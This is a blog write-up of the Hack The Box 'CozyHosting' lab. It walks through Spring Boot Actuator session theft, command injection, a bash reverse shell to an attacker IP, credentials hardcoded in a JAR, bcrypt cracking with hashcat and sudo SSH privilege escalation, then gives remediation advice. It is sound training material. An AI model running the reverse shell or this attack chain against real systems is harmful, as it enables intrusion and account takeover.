Hacking Insights by Max Bautista

CozyHosting writeup

Box name: CozyHosting

Difficulty: Easy

OS: Linux

Overview: CozyHosting is an easy-difficulty Linux machine that features a Spring Boot application. The application has the Actuator endpoint enabled. Enumerating the endpoint leads to the discovery of a user's session cookie, leading to authenticated access to the main dashboard. The application is vulnerable to command injection, which is leveraged to gain a reverse shell on the remote machine. Enumerating the application's JAR file, hardcoded credentials are discovered and used to log into the local database. The database contains a hashed password, which once cracked is used to log into the machine as the user josh. The user is allowed to run ssh as root, which is leveraged to fully escalate privileges.

Link: https://app.hackthebox.com/machines/CozyHosting?sort_by=created_at&sort_type=desc

Machine IP: 10.129.16.30

Ran rustscan to scan the machine.

rustscan -a 10.129.16.30 –ulimit 5000 -b 2000 — -A -Pn

Added cozhosting.htb to /etc/hosts and navigated to the webserver. 

There’s a login page found.

Ran feroxbuster.

feroxbuster -u http://cozyhosting.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

While waiting for that I tried some basic credentials, no luck. Looked for Bootstrap v5.2.3 exploits but not seeing much. I checked out robots.txt and got a weird error which I looked up.

This pointed to some Spring Boot technology. After some research I found this https://github.com/ivanversluis/pentest-hacktricks/blob/master/pentesting/pentesting-web/spring-actuators.md. In this there is a wordlist we can use for directory brute forcing. Reran my feroxbuster which got a lot of results that the original list didnt find.

feroxbuster -u http://cozyhosting.htb/ -w spring-boot.txt

This showed us more information.

It looks like we can also see current sessions of a kanderson user.

Adding it to my Cookies storage with dev tools we were able to get in to the session.

I was playing with the Connection settings at the bottom but was unsure how I would actually take advantage of this so I referred to the writeup. In the writeup we can receive a response with the following.

This confirms command injection. We can create a rev shell and host that on a webserver.

echo -e ‘#!/bin/bash\nsh -i >& /dev/tcp/10.10.16.147/4444 0>&1’ > rev.sh

Call it and we get a shell.

Upgraded my shell.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

There is a .jar file that we were dropped into.

Unzipped it to /tmp.

There are postgresql credentials in a application.properties file.

postgres:Vg&nvzAQ7XxR

Let connect to the database.

psql -h 127.0.0.1 -U postgres

We can see a few databases.

Let’s check out cozyhosting.

Listing the tables we see a users table.

And we get some hashes.

kanderson:$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim

admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm

Tried cracking the hashes.

hashcat hashes.txt -m 3200 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Cracked this hash first.

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

Since kanderson isn’t a local linux user I tried reusing the password on root and josh. Didn’t work on root but it worked on josh.

Running sudo -l right away we found something interesting.

I was able to get the root flag by using the GTFObins File Read command https://gtfobins.org/gtfobins/ssh/#shell.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added cozyhosting.htb to /etc/hosts and browsed to the web server which presented a login page. Ran feroxbuster with a standard wordlist while poking around manually. Noticed an unusual error from robots.txt which pointed to Spring Boot technology.

rustscan -a 10.129.16.30 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://cozyhosting.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

2 – Spring Boot Actuator enumeration Researched Spring Boot and found that the Actuator endpoint exposes sensitive application information. Reran feroxbuster with a Spring Boot specific wordlist and discovered several actuator endpoints including one exposing active user sessions. Found a valid session cookie for the kanderson user.

feroxbuster -u http://cozyhosting.htb/ -w spring-boot.txt

3 – Session hijacking and command injection Added the kanderson session cookie via browser dev tools and gained access to the dashboard. Found a connection settings form at the bottom of the page. Tested for command injection and confirmed it was vulnerable. Wrote a bash reverse shell, hosted it on an HTTP server, and used the injection point to download and execute it, landing a shell as the app user.

echo -e ‘#!/bin/bash\nsh -i >& /dev/tcp/10.10.16.147/4444 0>&1’ > rev.sh

4 – Credential extraction from JAR file Found a .jar file in the working directory. Unzipped it to /tmp and found hardcoded PostgreSQL credentials in application.properties. Connected to the local database and enumerated the cozyhosting database, finding a users table containing bcrypt hashes for kanderson and admin.

psql -h 127.0.0.1 -U postgres

Credentials found: postgres:Vg&nvzAQ7XxR

5 – Hash cracking and lateral movement Cracked the admin bcrypt hash using Hashcat with rockyou and best64 rules. Recovered the plaintext password and tried it against local Linux users. It worked for josh but not root. SSH’d in as josh and retrieved user.txt.

hashcat hashes.txt -m 3200 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Password recovered: manchesterunited

6 – Privilege Escalation – sudo SSH abuse Ran sudo -l and found josh could run SSH as root. Used the GTFOBins SSH shell technique to escalate to root and retrieved root.txt.

---

Key Takeaways

1. Spring Boot Actuator exposed in production – The Actuator endpoint was enabled and publicly accessible, leaking active session tokens. Actuator endpoints must be disabled in production or restricted to internal management networks with authentication enforced.
2. Session token exposed via unauthenticated endpoint – A valid authenticated session cookie was visible through the sessions actuator endpoint without any authorisation check. This allowed full account takeover without knowing any credentials.
3. Command injection in connection settings form – User-supplied input was passed directly to a system command without sanitisation, allowing arbitrary OS command execution. All input that interacts with system commands must be validated, sanitised, and executed in a context that prevents shell injection.
4. Hardcoded database credentials in application JAR – PostgreSQL credentials were stored in plaintext inside application.properties bundled within the deployable JAR. Credentials must never be hardcoded in application files and should be injected at runtime via environment variables or a secrets manager.
5. Password reuse between application and OS accounts – The cracked admin password was reused by the josh OS account, allowing lateral movement from the database to an interactive user session. Passwords must be unique across all systems and accounts without exception.
6. Overly permissive sudo rule allowing shell escape – Josh was permitted to run SSH as root with no restrictions, which GTFOBins documents as a known shell escape path. Sudo rules must be reviewed against GTFOBins and restricted to only the specific arguments and contexts required.

---

Remediation

[Immediate] Disable or restrict Spring Boot Actuator endpoints Remove all Actuator endpoints from the public-facing application. If Actuator is required for monitoring, restrict it to an internal management port accessible only from a dedicated monitoring host. Require authentication for all Actuator endpoints and audit which endpoints are currently enabled.

[Immediate] Remediate command injection vulnerability Audit all input fields that interact with system commands and apply strict input validation using allowlists. Use parameterised APIs instead of shell execution where possible. Apply the principle of least privilege to the application service account to limit the impact of any injection.

[Immediate] Remove hardcoded credentials from application files Remove the PostgreSQL credentials from application.properties immediately and rotate the database password. Inject credentials at runtime using environment variables or a secrets management solution such as HashiCorp Vault. Ensure the JAR file is not accessible to unauthenticated users.

[Immediate] Review and restrict all sudo rules Audit the sudoers configuration and remove any rules that permit shell escapes as documented by GTFOBins. The SSH sudo rule for josh must be removed. Apply the principle of least privilege to all sudo entries and test each against GTFOBins before deployment.

[Short-term] Enforce unique passwords across all systems Rotate the passwords for all accounts where manchesterunited was reused. Implement controls preventing password reuse across application and OS accounts. Deploy a PAM solution to manage privileged credentials and enforce rotation policies.

[Long-term] Implement secrets management and secure application deployment practices Establish a policy prohibiting hardcoded credentials in any application file, configuration, or JAR. Integrate secrets management into the CI/CD pipeline so credentials are never committed to repositories or bundled into deployable artifacts. Include Spring Boot applications in regular security assessments covering Actuator exposure, injection vulnerabilities, and credential handling.